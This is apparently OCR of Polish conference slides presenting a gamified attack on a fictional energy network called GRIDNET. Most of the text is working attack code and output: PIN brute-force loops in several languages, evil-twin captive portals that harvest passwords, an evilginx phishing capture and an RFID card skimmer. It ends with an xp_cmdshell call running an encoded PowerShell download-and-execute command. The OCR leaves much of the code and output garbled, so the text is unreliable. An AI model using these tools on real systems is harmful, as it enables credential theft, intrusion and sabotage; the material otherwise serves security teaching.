<div>
<form class="container" method="POST" action="/login">
<hl>Wprowadz swéj indywidualny, szesciocyfrowy PIN</hl1>
<input type="password" name="PIN" maxlength="6" pattern="\d{6}" required>
<br>
<input type="submit" value="Wejdz"> PR e
</form>
</div>
</body>
</html>

WprowadZ swdj indywidualny, szeSciocyfrowy PIN

Niwprawid<owy PIN

Elements Censole Sources Network A  Memory  Parformance  Application  Privacy end security Lighthouse  Recorder & Raquastly

@ @ Y Q | @ rreservelog | [ Uisablecache Nothrotting ~ 7

More filtars » Felch/XHR | Doc. | OS5 | J5 [Fant | Img | Madia

X  Headers Payload Preview Response Initiator  Timing  Cooxies

= Form Data View source View URL-encoded

[Z) ras2?familysShare | Toeh | Mora&aisplaysswan

M J7al InPTUDNRIEAVIBAVIRZYIdF cLawl FAR?Hegwatt?
[7] css?7amily=Source+Sans+Pro

- 5 recquests | 245 k08 transfarred 240 kB resnurces | Finish: 164 me



RE{ [ Burp Suite Community Editionv2025.3.3 - Temporary Project

Dashboard Target Proxy Intruce- Feoeater Ccllakorator Sequencer Decoce- Comparer Logger Organizer Extensions Leam

Intercept HTTP history WebSockets history Match and replace {0% Proxy settings
Y Filter sattings: Hiding CSS, Image and gensral binary content @

Host Method URL Paramms Edited Stetus code Length MME type Extension Title IP Cookies Time

http://pnnier-103.marpnet:80... GEI /login 405 38/ JSON 127.0.0.1 session=eyJ1c2... 06:1
hitp:/printer-103.marpnet:80... GET / 200 2119 HTML Strefa Dostepu 127.0.0.1 session=eyJic2... 08:1
http:/prinfer-108.marpnet:80... POST  /login 200 2180 HTML Strafa Dostepu 127.0.0.1 session-eyJic2... 06:1
http://www.gstatic.com GET /gencrate_204 204 127 172.217.1€.3 05:1

Inspector

&p

Request Response
Pretty Raw Hex [N = Pretty Raw Hex Render Raquest aftribites

POST /login FTTP/1.1 70 width: 1Zem;

Host: printer-103.marpnes:8000 11 } Request body parameters
Content-Length: 10 79 </stvle>

Cache-Control: max-age=9 73 </hcaj} Request codkies
Origin: http://printer-103.marpne:8000 ) <body>

Content-Type: application/x-www—form—urlenccded 75 <div class="10qo0">
Upgrade-Insecure-Requests: 1 16 <img src="/static/logo.png">
User-Agent: Mozillas5.0 (Macintosh; Intel Mac 0S X 10 15 7) 77 <hbrs

AppleWebKit/537.36 (KITML, like Gecko) Chrome/136.9.0.9 " </div> Rasponse headers
Safari/537.3€ 70 <div>

Accept: 80 <form class="container" method="P0OST" action="/login">

text/html, application/xhtml+xml,application/xnl;q=0.9,image/avif, . <hl>

inage/wehp, ‘mage/apng,*/*;q=0.8,application/signed-exchange; v=h3; ) WprowadZ swéj indywidualny, szeéciocyfrowy PIN

q=0.7 </hl>

Referer: http://printer-16@3.marpnet:8060/ 82 <input type="password" name="PIN" maxlength="6" pattern

Accept-Encoding: gzip, deflate, br ="\d{6}" required>

Accept-Languege: en-GE,en-US;q=0.9,en;q=0.8,pl;q=0.7 83 <br>

Cookie: session= 8¢ <input type="submit" value="WejdZ"-
eyJ1c2VyIljogeyJ1lc2VybmFtZSIGICIrLmghbmtvd3NraSIsICIKZXBhCNRLZWSA1 g

jogIKRGaWrMcdTAXNDIgRHI1a3UifX0=.aD€kVg.cudleiMGaz_CXTdn7kevQOKCLp gg <p style="color: #ff828@:">

M Niepraw.dtowy PIN

Connection: keep-alive </p>

1010adsu|

I,

Request headoers

Sa]0N

PIN=123223 e T3
</div>
</body>
</htmnl>

C?){:} “ > Saurcl 0 0 higlgits Cz){:} < |~ Search o 0 highlights

Eventlog (18)*  All issues () Memory: 146.€ME *¢ Disabled




# mitmdump —-s mitm.py
from mitmproxy import http

def request(flow: http.HTTPFlow) —> None:
1T flow.request.method == "POST":
body = flow.request.get text()

print("POST request")

print(f"URL: {flow.request.pretty_url}")
print (" Body:")

print(body)

prirt(" _________________________ \n")

drg ~/conf125» mitmdump -s mitm.py
Loading script mitm.py

HTTP(S) proxy listening at *:80809.

[127.0.0.1:56720] client connect
2504 0 ]1[127.0.0.1:56721] client connect
POST request
URL: http://printer-103.marpnet:8000/login
Body :
PIN=123123



WprowadZ swoj indywidualny, szeSciocyfrowy PIN

Wejdz

'

F’rchrowadzasz brute force na Ping) Zebg Wgciagnaé

= iste ngtkownikc’)w. ngierz bron.

e PowerShell - idziesz na

\.
J.,

| e Pgthon - idziesz na slaJid 45.

e Bash - idziesz na slajicl 257

& el
y .\ ) s C::{;.‘!—" —



0..999 { $pin=("{0:d6}" $_); $exists=((irm -me po http:
printer-103.marpnet:8000/1ogin ~body "PIN=$pin") 'sNieprax');
[pscustomobject]@{pin=$pin;exists=$exists} } exists
N N N pwsh
PS /Users/drg> @..999 | % { $pin=("{@:d6}" $§ ); $exists=((irm po http://printer-183.marpnet:80080/login
"PIN=$pin") *Niepra*'); [pscustomobject]@{pin=$pin;exists=$exists} }|where exists
pin exists

Pov1a1 True
PPv1a2 True
PRv103 True
Pee104 True
Pee185 True
00106 True
00010/ True
000188 True
pRe1a9 True
PPv1186 True
pev111 True
pev112 True
PeR113 True
000114 True
00115 True
P00116 True
00117 True
POO118 True
Pov119 True
0120 True

PS /Users/drg> _

< -



0..999 | ForEach-Object {

$pin=("{0:d6}" $_)

$content Invoke-RestMethod —-Method POST http://printer-103.marpnet:8000/1login —body "PIN=%$pin"

($content "(?s)Uzytkownik: <strong>(?<user>.%*)</strong>.*Dzia*: <strong>(?
<department>.x)</strong>") A
$user = $matches['user']
¢department = $matches|['department']
[pscustomobject]@{pin=%$pin;user=$user;department=$department}

pin user department

080101 ewa.kaminska Kontrola Jakosci

QPP10.2 adam.wojcik Dziat Druku

PBP103 karol.kowalski Logistyka

0B0104 ola.nowicka Bezpieczenstwo Systemowe

Q80105 marta.lewandowska Zarzadzanie Energig

QBO1B6 tomasz.krawczyk Automatyka Przemystowa

QP010/ piotr.wisniewskil Utrzymanie Sieci GRIDNET

Q80108 ania.zajac Dziat Druku

000109 bartek.adamczyk Zespotl Aktualizacji MAO SCADA Link
000110 justyna.mazur Zarzgdzanie Alarmami

Q00111 michal.sobczak Logistyka

080112 patrycja.kot Bezpieczenstwo OT

Q80113 grzegorz.urban Dziat Druku

080114 dominika.olszewska Obstuga Maszynowni Gtdwnej
080115 krystian.baran Serwis Systemow Zasilania
PB0116 katarzyna.czerwinska Koordynacja Zapasow Krytycznych
080117 lukasz.wojtas SCADA Nexus - Centrum Dystrybucji
PB0118 agnieszka.krupa Zespot Reagowania GRIDNET
@119 mateusz.pawlowski Zarzadzanie Przeptywem Energii
PB0120 izabela.wrona Logistyka

PS /Users/drg> _



requests
i range(1000) :
pin = f"{i:06}"
"Niepra" requests.post("http://printer-103.marpnet:8000/1login",
data={"PIN": pin}).text:
print(f'Found PIN {pin}"')

-ar - B I T e o - » - —— - T S ——— - R — e —— — m————e o ——— =

>>> 1import requests
. for i in range(1990):
pin = £"{1:06}"
if "Niepra" not in requests.post("http://printer-103.marpnet:8000/Login", data={"PIN": pin}).text:
print(f'Found PIN {pin}’')

Found PIN 0606101
Found PIN 080162
Found PIN 960163
Found PIN 0600164
Found PIN 960185
Found PIN Q680166
Found PIN 9@01@7
Found PIN 0801068
Found PIN 9601069
Found PIN 08011¢
Found PIN 960111
Found PIN 080112
Found PIN 9@0113
Found PIN Q60114
Found PIN 9@0115
Found PIN Q80116
Found PIN Q@0117
Found PIN Q@0118
Found PIN ©@0119
Found PIN 08012€



requests
&

pattern = re.compile(r"Uzytkownik: <strong>(.*7)</strong>.*7Dziat: <strong>(.*7)</strong>",
re.DOTALL)

i range(1000) :

pin = f"{1i:06}"

response = requests.post("http://printer-103.marpnet:8000/1login", data={"PIN": pin})
match = pattern.search(response.text)

match: | g
user, department = match.groups() 000102, adam wojosk, Dzsat Drdks
print(f'{pin}, {user}, {department}') BT R SRR Bor S i, Y e

¥ee165, marta.lewandowska, Zarzadzanie Energig

¥0B8106, tomasz.krawczyk, Automatyka Przemystowa

881687, piotr.wisniewski, Utrzymanie Sieci GRIDNET

@ee1@88, ania.zajac, Dziat Druku

808189, bartek.adamczyk, Zespdt Aktualizacji MAO SCADA Link

808118, justyna.mazur, Zarzadzanie Alarmami

@e@111, michal.sobczak, Logistyka
®ee112, patrycja.kot, Bezpieczenstwo OT I /
808113, grzegorz.urban, Dziat Druku F ‘j‘;

808114, dominika.olszewska, Obstuga Maszynowni Gtownej
800115, krystian.baran, Serwis Systemow Zasilania

@0@8116, katarzyna.czerwinska, Koordynacja Zapasow Krytycznych
@0@117, lukasz.wojtas, SCADA Nexus - Centrum Dystrybucji
¥PB118, agnieszka.krupa, ZespOt Reagowania GRIDNET

808119, mateusz.pawlowski, Zarzadzanie Przeptywem Energii
8e@120, izabela.wrona, Logistyka



pin $(seq —f "%06.0f" 0 999); r=¢$(curl -s —-d "PIN=$pin"
http://printer-103.marpnet:8000/1login); [[ $r Niepra* ]] && echo
"Found pin $pin'";

drge~/confi25» for pin in $(seq -f "%06.0f" @ 999); do r=%(curl -s -d "PIN=$pin" http://printer-163.ma
rpnet:8000/login); [[ Sr Niepra® ]] && echo "Found pin $pin"; done
Found pin 000101

Found pin 000102

Found pin 000103

Found pin 0001684

Found pin 008105

Found pin 808106

Found pin 000107

Found pin 0001068

Found pin 008169

Found pin ©00116

Found pin 800111

Found pin 000112

Found pin 800113

Found pin @0@8114

Found pin @00115

Found pin 000116

Found pin 800117/

Found pin 600118

‘Found pin 000119

Found pin 000120

drg=~/confil25» [18:32:47]



1 $(seq —T "%06.0f" 0 999);
response=$(wget ——quiet —--method POST —-body-data="PIN=$i" http://printer-103.marpnet:8000/
login -0-)

user=%$(echo "$response" | sed —-n 's/.xUzytkownik: <strong>\(.x\)<\/strong>.%/\1/p")
department=$(echo "$response" sed —n 's/.*xDziat: <strong>\(.x\)<\/strong>.x/\1/p')

[ "Suser" "$department" ]];
echo "$1, %$user, $department”

000101,
000102,
000103,
000104,
000105,
000106,
000107,
000108,
000109,
000119,
000111,
000112,
000113,
000114,
000115,
000116,
000117,
000118,
000119,
000120,

ewa.kaminska, Kontrola Jakosci

adam.wojcik, Dziat Druku

karol.kowalski, Logistyka

ola.nowicka, Bezpieczenstwo Systemowe

marta. lewandowska, Zarzgdzanie Energig
tomasz.krawczyk, Automatyka Przemystowa
piotr.wisniewski, Utrzymanie Sieci GRIDNET
ania.zajac, Dziat Druku

bartek.adamczyk, Zesp6t Aktualizacji MAO SCADA Link
justyna.mazur, Zarzadzanie Alarmami

michal.sobczak, Logistyka

patrycja.kot, Bezpieczenstwo OT

grzegorz.urban, Dziat Druku

dominika.olszewska, Obstuga Maszynowni Gtownej
krystian.baran, Serwis Systeméw Zasilania
katarzyna.czerwinska, Koordynacja Zapasow Krytycznych
lukasz.wojtas, SCADA Nexus - Centrum Dystrybucji
agnieszka.krupa, Zespét Reagowania GRIDNET
mateusz.pawlowski, Zarzadzanie Przeptywem Energii
izabela.wrona, Logistyka



Potrzebujesz zdobgé loging i hasta do MARPNETU.

o Jesli Wgsgjrasz Phishing) idziesz na .

o Jesli Podrzucasz do MAO Fafszgwg Access Point
uclaja‘cg autoryzowana sieC | zbieraja‘cg |<rec”<i, idziesz

na slajicl 910}




Jaki sl:)er;t wy korzgstujesz do fat SZYwego ACCess Pointa”

o Jesl; wgbicrasz mikrokontroler ESP32 e Jesli wgbierasz minikomputer z

+ Arduino, idziesz na slajcl . | inuxem, idziesz na slaJicl 575.
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<Arduino.h>
<WiFi.h>
<DNSServer.h>
<WebServer.h>

DNSServer dnsServer;
WebServer server(80);

char responsePortal| | = R"===
<!DOCTYPE html>[...]

n"n.

b

void handleRoot() {
Serial.println("Handle root");
server.send(200, "text/plain”, "");

h

void handleNotFound() {
Serial.println("Handle not found");
server.sendHeader("Location", "/portal");

n-n

server.send(302, "text/plain", "redirect to captive portal");

¥

void setup() {
Serial.begin(115200);
WiF1.mode(WIFI_AP);
WiFi.soft AP("MARPNET");

(dnsServer.start()) {
Serial.println("Started DNS server in captive portal-mode");

}else {
Serial.println("Err: Can't start DNS server!");

h

server.on("/", handleRoot);

server.on("/login", HTTP_POST, [ 10 {
Serial.println("Handle login");
String username = server.arg('username");
String password = server.arg("password");
Serial.println("! Login attempt");
Serial.print("Username: ");
Serial.println(username);
Serial .print("Password: ");
Serial.println(password);
server.send(200, "text/html", "Incorrect password");

;s

server.on("'/portal", []() {
Serial.printin("Handle portal");
server.send(200, "text/html", responsePortal);

1;

server.onNotFound(handleNotFound);
server.begin();

h

void loop() {
server.handleClient();
delay(5);

¥

‘,.
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0o & captive | Arduino IDE 2.3.6

>K4 ¢ M5AtomS3 B W 0O

captive.ino

39

if (dnsServer.start()) {
32 Serial.println("Started DNS server in captive portal-mode");
33 } else {
34 Serial.println("Err: Can't start DNS server!");
35 }
server.on("/", handleRoot);

39 server.on("/login", HTTP_POST, [1() {

40 Serial.println("Handle login");

41 String username = server.arg("username")d

42 String password = server.arg("password");

43 Serial.println("! Login attempt");

44 Serial.print("Username: ");

45 Serial.println(username);

46 Serial.print("Password: ");

47 Serial.println(password);

48 server.send(200, "text/html", "Incorrect password");
49 };

5€

51 server.on("/portal”, [1() {

52 Serial.println("Handle portal");

53 server.send(200, "text/html", responsePortal);
54 };

56 server.onNotFound(handleNotFound) ;

server.begin();

60 void loop() {

61 server.handleClient();
62 delay(5);

63 }

Output  Serial Monitor X

Y —
¥ |0|=

New Line v H 9600 baud v ’

- W - AR e - Bl

12:12:29.156 —> ! Login attempt
12:12:29.156 —> Username: hh
12:12:29.156 —> Password: gg
12:12:33.240 —> Handle login
12:12:33.240 —> ! Login attempt
12:12:33.240 —> Username: hhbbb
12:12:33.240 —> Password: gg

Ln 41, Col 46 MS5AtomS3 on /dev/cu.usbmodem2101 (836 B



dnsmasq hostapd lighttpd iptables dhcpcd




#!'/bin/bash

set -e echo " [*] Konfiguracja hostapd..."
sudo tee /etc/hostapd/hostapd.conf /dev/null EOF
echo "[*] Instalacja wymaganych pakietdw..." interface=wlano
sudo apt update driver=nl180211
sudo apt install -y dnsmasqg hostapd lighttpd iptables—persistent ssid=MARPNET
hw_mode=g
echo "[*] Konfiguracja statycznego IP dla wlan@..." channel=7
sudo tee —a /etc/dhcpcd.conf /dev/null EOF wmm_enabled=0
macaddr_acl=0
interface wlan@ auth_algs=1
static 1p_address=192.168.4.1/24 ignore_broadcast_ssid=0
nohook wpa_supplicant 0]
0]

echo "[x] Restart dhcpcd..."
sudo service dhcpcd restart

echo "[x] Konfiguracja dnsmasq..."

sudo mv /etc/dnsmasqg.conf /etc/dnsmasq.conf.orig 2>/dev/null true
sudo tee /etc/dnsmasq.conf > /dev/null <<EOF

interface=wlan0

dhcp-

range=192.168.4.10,192.168.4.100,12h

address=/#/192.168.4.1

EOF



sudo

echo
sudo
sudo

echo
sudo
sudo

echo
sudo

echo
sudo
sudo
sudo

echo
sudo
sudo

echo

sed -1 's|”#DAEMON_CONF=.x|DAEMON_CONF="/etc/hostapd/hostapd.conf"|' /etc/default/hostapd

"[x] Wxaczenie lighttpd..."
systemctl enable lighttpd
systemctl restart lighttpd

"[x] Konfiguracja iptables do przekierowania HTTP..."
iptables -t nat —-A PREROUTING -1 wlan@® —-p tcp ——dport 80 —j DNAT ——to 192.168.4.1:80
iptables -t nat -A POSTROUTING -j MASQUERADE

"[x] Zapis regut iptables..."
netfilter-persistent save

"[x] Wtgczanie ustug przy starcie..."
systemctl unmask hostapd
systemctl enable hostapd
systemctl enable dnsmasq

"[x] Uruchamianie us*ug..."
systemctl restart dnsmasq
systemctl restart hostapd

"[+] Captive Portal MARPNET gotowy. Urzadzenia potgczone z Wi—-Fi 'MARPNET' beda przekierowane do index.html."
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“nxl@Lri en-rvilb rx:u/lnn]\f-;;1ginx7h i Tl e ]uin( -f Sabishlel s/

[#A:27:%6] [inf]
[#3:23:56] [inl]

28 dc B
[os:2::59] (N0

[03:22:59) Lint]
: ses=ions

id | prishlel

1 goonle

Le3:24;
[03:24;
[AR:24:
[@3:24:41
+ zessions

2
“
9

B AN
L J W NN NN ) -
(U pum— e pE—
Aeund Rl Raend R

id prishlet

[@5:23:56] [-]:-

loaded phi<hlet 'gacgle' fram 'grazl=.y=nl

sl g oup t=rlilireles Far phi\}-~l lgl”t-- L
successTully sat up SSL/TLS certiticates for dom
com contert.it-1ls-zlmost-done._evilgine. con]

€] landing URL: httpz:/Saccourtz.it is5 almost donc.cvilzinx.com/signir/v2/identiticr

A2 NaEes de > vor (I -UL’.':I'I> remole i}J
€] Username: | gmail.com
€] Password: [ ]
] .'1“ al Il i ') :I ] IK~NN .Y | = R A | !
LsIrnamc password

alrs: [accounts.it-ls-zlmost-done.evilginxk.con anois.it-1s-almost-don2.evilginx.com ssl.it-1s-zln

Line
L918-V5-48 U2
o200 ~fconfi25
«drg+~/confi25» mitmdump --help
usage: mitmdump [opticns] [filter]
positional arguments:
filter_arcs Filter expression, equivalent to setting both ths
REIEEs save stream filter opticns.
capturad options:
-h, --halp show thie help message and axit
--version show version rumber and exit
--pptions Show all opticns and their default values
- -commands Show all commands and their signatures
--set option[=value] Sat an option. When the value is omitted, boolear
and integers are sect to None (if permitted), and
S Boolean va.ues can be true, felse or toggle. Sequ
: maltiple invocations to <et for the same oprion.
. -q, --qQuiet Quiet.
v, vertose Increase log verbosity.

--mode, -m MODE The proxy server typei(s) to spawn. Can be passed

supports "regular" (HTTF), "rtransparentc"”, 'sockst

"upstream:SPEC' , and "wireguard|[:PATH]" proxy sei:

‘L upstream proxy modes, SFEC is host specification

: "hetp[s]://host[:poxrt]"”. For WireGuard mode, PAT-

containing key marterzal. If no such file exisrts,
startup. You may append ‘@.isten_pcrt’ cr "@alist:
override 'Listen_host’ cr 'Llisten_port’ for a spe
such as client playback will use the fixst mode t
s2rver to use. May be passed multiple times.

--no-anticache

anticacke Strip out request hecaders that might cause the scrver to return 2€4 -not

modified.

-=-no-shoabost

- -5howhost Use the Host header to construct URLs for display. This opticn 15 disabled
by default because malicious cpps may send misleading host hcaders to cvade

-\ s o your analvsis. If this is not a corcern, enable this options for better flow
- e~ display.
‘ - e -=no-show-ignored-hcsts
- a \  =--show-igrored-hosts Racord ignorad flows in the Ul even if we do not periorm TLS intexception.
&@ This option will keep igroraed flows' contents in memory, which can greatly
3 : ) K

e N - y 28 / o e

MARPNET Login

Nazwa uzytkownika

Has!o

Wejds

Nieprawidtowe hasto lub brak

uprwaried




Od: Spectra X

for
2 -~ ,_'L

Mam. Zabezpieczenia Przed niebezpiecznymi wartosciami

Praktgcznie kaZchj z maszyn w GRIDNETcie realizowane sa
wg’f acznie w MAO SCADA Link, kontrolerg Przyjma‘ wszgstko, CO
m wyéle operator.

-
— —_— e — - —————

Przggotowa’fam robaka, ktérg rozesle sie do |<achej stacji W

GRIDNETcie 1 zgas swiatfo w ca’fgm MAO w taki sposéb, ze

ngiana zarowek nie pomoze. Bo nie bedzie w coje wkrecac¢.

Wystarczy, ze oclPalisz go W ijc')wnej Maszynowni, gclzie stoi |
stacja z zainstalowangm MAO SCADA Nexus, |<tc’>r9 Wgsgjfa
aktualizacje do Linkow.




1. Sklonowac¢ |<artf; jeclnego z
oPeratoréw

2. Okresli¢ najlepszg moment na wcjécie







1. Mobilngj clgskrctng
skanert kart

2. Po zeskanowaniu kartg

wjfaczenie modemu
GSM iwgsjfanie SMSa

% Restart urzadzenia



#include <SPI.h>
#include <MFR(C522.h>
#include <TinyGsmClient.h>

#include "utilities.h"

#define SS_PIN 12
#define RST_PIN O

#define SMS_TARGET "+48501501501"

MFRC522 rfid(SS_PIN, RST_PIN);
byte nuidPICCI[4];

TinyGsm modem(Seriall);

void setup() {
Serial.begin(9600);
SPI.begin();
rfid.PCD_Init();

Seriall.begin(115200, SERIAL_8N1, MODEM_RX, MODEM_TX);
delay(1000);

Serial.println(F("mifare to sms initialized"));

}

String hexToString(byte xbuffer, byte bufferSize) A
String result = "";
for (byte i = 0; i < bufferSize; i++) {
if (buffer[i] < 0x10) result += " 0";

else result += " ":

result += String(buffer([i], HEX);
¥
return result;




void loop() {
if (!'rfid.PICC_IsNewCardPresent())
return;

if (!'rfid.PICC_ReadCardSerial())
return;

Serial.print(F("PICC type: "));
MFRC522::PICC_Type piccType = rfid.PICC_GetType(rfid.uid.sak);
Serial.println(rfid.PICC_GetTypeName(piccType));

ifT (piccType '= MFRC522::PICC_TYPE_MIFARE_MINI && piccType != MFRC522::PICC_TYPE_MIFARE_1K && piccType
MFRC522: :PICC_TYPE_MIFARE_4K) A
Serial.println(F("Not MIFARE card."));
return;

}

String nuidString = hexToString(rfid.uid.uidByte, rfid.uid.size);
Serial.println(nuidString);

// send sms

setupModem() ;

Serial.printin("init modem");

modem. init();

Serial.println("Sending sms");

bool res = modem.sendSMS(SMS_TARGET, nuidString);
Serial.println("SMS sent");

ESP.restart():
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TMOS PIR STHSHPI80 M5NanoCé Dev Kit - ESP32-C6FH4

Cechy szczegoine M5NanoC6

Gléwne cechy TMOS PIR Wyposazony w ukltad ESP32-C6FH4, obstugujacy WiFi 6, Zigbee, Thread i
Matter, zapewniajacy szybka i niezawodng komunikacje bezprzewodows.

 Wysoka czutosC: precyzyjna detekcja ruchu i obecnosci w oparciu o Wbudowany nadajnik podczerwieni umozliwiajgcy wygodne sterowanie

promieniowanie ciepine urzgdzeniami loT za pomoca technologii podczerwieni.
Szerokie pole widzenia: 80° zapewnia wiekszy zakres monitorowania
Regulacja czutosci: tryby domysiny |1 szeroki dla réznych warunkow
srodowiskowych

Komunikacja 12C: tatwa integracja z mikrokontrolerami (adres 0x5SA)
Regulowana czestotliwosc probkowania: od 0,25 Hz do 30 Hz, dopasowana

Posiada programowalne diody RGB, ktére dodajg efektow wizualnych |
umozliwiajg personalizacje projektow.

Ztacze Grove umozliwia elastyczng rozbudowe poprzez potgczenie z roznymi
urzgdzeniami MS5Stack, takimi jak te wykorzystujgce protokoty UART, 12C |
do réznych zastosowan i

. iar 25 Y\ R m vl Tal=y Qo ar
Kompaktowe wymiary: tylko 32 x 24 x 8 mm i masa 4,4 g Mate wymiary 23,5 x 12 x 9,56 mm, co czyni go idealnym do zastosowan w

projektach, gdzie przestrzen jest ograniczona, a mobilnosé kluczowa.




void loop() {
sths34pf80_tmos_drdy_status_t dataReady;
TMOS.getDataReady(&dataReady) ;

(dataReady.drdy 1) 1
sths34pf80 tmos_func_status_t status;
TMOS.getStatus(&status);

(status.pres_flag i)y A
TMOS.getPresenceValue(&presenceVal);
Serial.printf("Presence Detected! PresenceValue: %d\n", presenceVal);
sendValue(presenceURLBase, '"val', presenceVal);

s
(status.mot_flag 1) {
TMOS.getMotionValue(&motionVal);
Serial.printf("Motion Detected! MotionValue: %d\n", motionVal);
sendValue(motionURLBase, "val', motionVal);
s
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C 2% kernel.orgfdoc/html/v4.17/driver-apifusb/gadget.html#structure-of-gadget-drivers

W1: Dallas’ 1-wire bus
RapidlO Subsystem Guide USB Controller Driver

; This is the lowest software level. It is the only layer that talks to hardware, through registers, fifos, dma, irgs, and the like. The <1inux/usb/gadget.h> API
Writing s3%0 cha I ice dri : : - - - -
B S R e abstracts the peripheral controller endpoint hardware. That hardware is exposed through endpoint objects, which accept streams of IN/OUT buffers, and

through callbacks that interact with gadget drivers. Since normal USB devices only have one upstream port, they only have one of these drivers. The

Linux 802.11 Driver Developer’s controller driver can support any number of different gadget drivers, but only one of them can be used at a time.
Guide

VME Device Drivers

Examples of such controller hardware include the PCl-based NetChip 2280 USB 2.0 high speed controller, the SA-11x0 or PXA-25x UDC (found within

The Userspace |/O HOWTO :
many PDAs), and a variety of other products.

Linux Firmware API

PINCTRL (PIN CONTROL)
subsystem

Gadget Driver
The lower boundary of this driver implements hardware-neutral USB functions, using calls to the controller driver. Because such hardware varies widely in

capabilities and restrictions, and is used in embedded environments where space is at a premium, the gadget driver is often configured at compile time to
work with endpoints supported by one particular controller. Gadget drivers may be portable to several different controllers, using conditional compilatiop
(Recent kernels substantially simplify the work involved in supporting new hardware, by autoconfiguring endpoints automatically for many bulk-oriep*
drivers.) Gadget driver responsibilities include:

General Purpose Input/Output
(GPIO)

Miscellaneous Devices

DMAEngine documentation
* handling setup requests (ep0 protocol responses) possibly including class-specific functionality
returning configuration and string descriptors

SoundWire Documentation (re)setting configurations and interface altsettings, including enabling and configuring endpoints

Linux kernel SLIMbus support

Core APl Documentation handling life cycle events, such as managing bindings to hardware, USB suspend/resume, remote wakeup, and disconnec*

[bitixMedia Subsystem Docianentation managing IN and OQUT transfers on all currently enabled endpoints

Linux Networking Documentation Such drivers may be modules of proprietary code, although that approach is discouraged in the Linux community.

The Linux Input Documentation Upper Level

Linux GPU Driver Developer's Guide Most gadget drivers have an upper boundary that connects to some Linux driver or framework in Linux. Through that bound

Y Do aaton gadget driver produces and/or consumes through protocol transfers over USB. Examples include:

Linux Sound Subsystem Documentation » user mode code, using generic (gadgetfs) or application specific files in /dev

» networking subsystem (for network gadgets, like the CDC Ethernet Model gadget driver)
» data capture drivers, perhaps video4Linux or a scanner driver; or test and measurement hardware.
* input subsystem (for HID gadgets)

Linux Kernel Crypto API
Linux Filesystems API

SuperH Interfaces Guide sound subsystem (for audio gadgets)

Korean translations file system (for PTP gadgets)

Chinese translations block i/o subsystem {for usb-storage gadgets)




#!/bin/bash

echo "[x] tadowanie modutu g_ether..."
modprobe g_ether

echo "[x] Konfiguracja interfejsu usbo..."
ip link set usb@ up
ip addr add 192.168.7.1/24 dev usb@

echo "[*] Restart dnsmasq z konfiguracjg dla usb@..."
cat <<EOF >/etc/dnsmasq.d/usb—gadget.conf
interface=usb0
dhcp-range=192.168.7.2,192.168.7.10,255.255.255.0, 1h
0]

systemctl restart dnsmasq || {

echo "[!] dnsmasq error — sprawdz czy jest zainstalowany i skonfigurowany."

exit 1

}

echo " [*] Oczekiwanie na komputer hosta..."
while true; do
peer_ip=%$(ip neigh show dev usb@® | grep "1lladdr" | awk '{print $1}'
if [[ -n "$peer_ip" 1]1; then
echo "[+] Wykryto komputer z IP: $peer_ip"
echo "[*] Uruchamiam mao-gridnet-apocalypse.py..."
python3 mao—-gridnet—-apocalypse.py "$peer_ip"
break
fi
sleep 1
done

| head -n1)




pyodbc

server 'nexus.gridnet’
database 'master’
username 'sa’

password 'MAO! IN3xus''

command "exec xp_cmdshell 'powershell —-enc aQB3AHIAIABhAHAAdJABtAGMALgBwAGwWALwWBjAGEAbABjAHwWAaQBlAHgA'"

conn_str (

f"DRIVER={{0DBC Driver 18 for SQL Server}}:"

f"SERVER={server};"
f'"DATABASE={database};"
f"UID={username;};"

" PWD={password};"
f"TrustServerCertificate=yes;"

pyodbc.connect(conn_str) conn:
conn.cursor() cursor:

print (" [x] Deploying APOCALYPSE..

cursor.execute(command)

rows = cursor.fetchall()
row rows:
print(row[0])

Exception e
print(f"[!] Error {e}")

.II)
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<Adam Sztange> | co 0 tym wszystkim mysllsz?

<Adam Hantle> Miedzynarodowa AgenCJa
Odbudowy miata odbudowac swiat, podczas gdy
stata sie Jego najwiekszym zagrozemem

J|<Adam Sztange> Ale po raz kolejny éwiat mogt
I|czyc na hakerow
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<Adam Hantle> To prawda. Moja babcia mawiafa:
Gdzie Diabet nie moze, wyslij hakera.
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